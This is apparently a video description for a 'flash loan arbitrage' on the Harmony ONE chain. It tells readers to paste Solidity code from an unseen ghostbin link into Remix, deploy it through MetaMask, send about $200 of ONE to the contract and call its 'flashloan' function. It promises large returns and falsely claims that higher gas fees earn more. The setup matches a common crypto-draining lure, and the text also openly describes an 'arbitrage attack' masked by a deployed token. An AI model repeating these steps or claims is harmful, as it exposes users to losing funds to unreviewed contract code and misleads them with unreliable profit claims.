ONE - Harmony Blockchain: How to setup a Multi DEX arbitrage with Metamask and Solidity
In this video you will see a multi DEX arbitrage attack taking place on ONE Harmony chain with one coin/ one token. Trading betweek ViperSwap and MakerDAO. Be sure to have some ONE in your metamask wallet to fund the gas needed for this.
Earn crypto with ONE Harmony coin, using Flashloans on Harmony Mainnet. 883 ONE - 5200+ ONE
PLEASE FOLLOW THE VIDEO CAREFULLY IN ORDER TO WORK!!
REMEMBER : In Deploy & Run Transactions, Select Injected Web3 in Environment dropdown menu to connect your MetaMask, otherwise it will not work.
NOTE: If anyone doesn't know you can export your private key from Harmony ONE wallet and restore it into metamask. with ONE harmony you have 2 addresses. one that starts with 'one' and other with '0x'. 0x is obviously the format it is in once imported into metamask and format used when interacting with DEX. However for withdrawal and deposit from exchanges it usually to 'one' address. But so it is understood every 'one' address has a corresponding '0x' address linked to the same wallet. Hope I didn't confuse anyone.
Setup Metamask to connect to One Harmony Mainnet – https://docs.harmony.one/home/network/wallets/browser-extensions-wallets/metamask-wallet
Smart Contract Code Link – https://ghostbin.com/4UjWh/raw
Remix Link – http://remix.ethereum.org/
ViperSwap - https://viper.exchange/#/swap
ViperSwap Github - https://github.com/VenomProtocol/venomswap-contracts
MakerDAO Github - https://github.com/makerdao/dss-flash
Flash Loan Explanation – https://academy.binance.com/en/articles/what-are-flash-loans-in-defi
TO EARN MORE THAN THE AMOUNT IN THE VIDEO YOU CAN INCREASE GAS FEE
In this video, you can see how I used Flashloans to Arbitrage in ONE Harmony Mainnet by deploying Contract/Token to mask our arbitrage attack against ViperSwap.
This worked for me. But TRY IT AT YOUR OWN RISK.
STEPS:
Before starting, install and setup MetaMask in Chrome Browser.
1. Open and setup Remix in browser (https://remix.ethereum.org)
2. Copy the Contract code (https://ghostbin.com/4UjWh/raw)
3. Create new file in Remix and paste Contract code and wait for everything to load, Go to Solidity Compiler and Select compiler to 0.6.12 + commit version and hit Compile.
4. In Deploy & Run Transactions, Select Injected Web3 in Environment dropdown menu to connect your MetaMask. On Deploy, Enter your token details and deploy the contract
5. Get the Contract address from Remix
6. Send 200$ish of ONE to the contract for gas fee for all swaps (There are going to be many swaps to use all funds from out liquidity pools.
7. Call ‘flashloan’ function in Remix.
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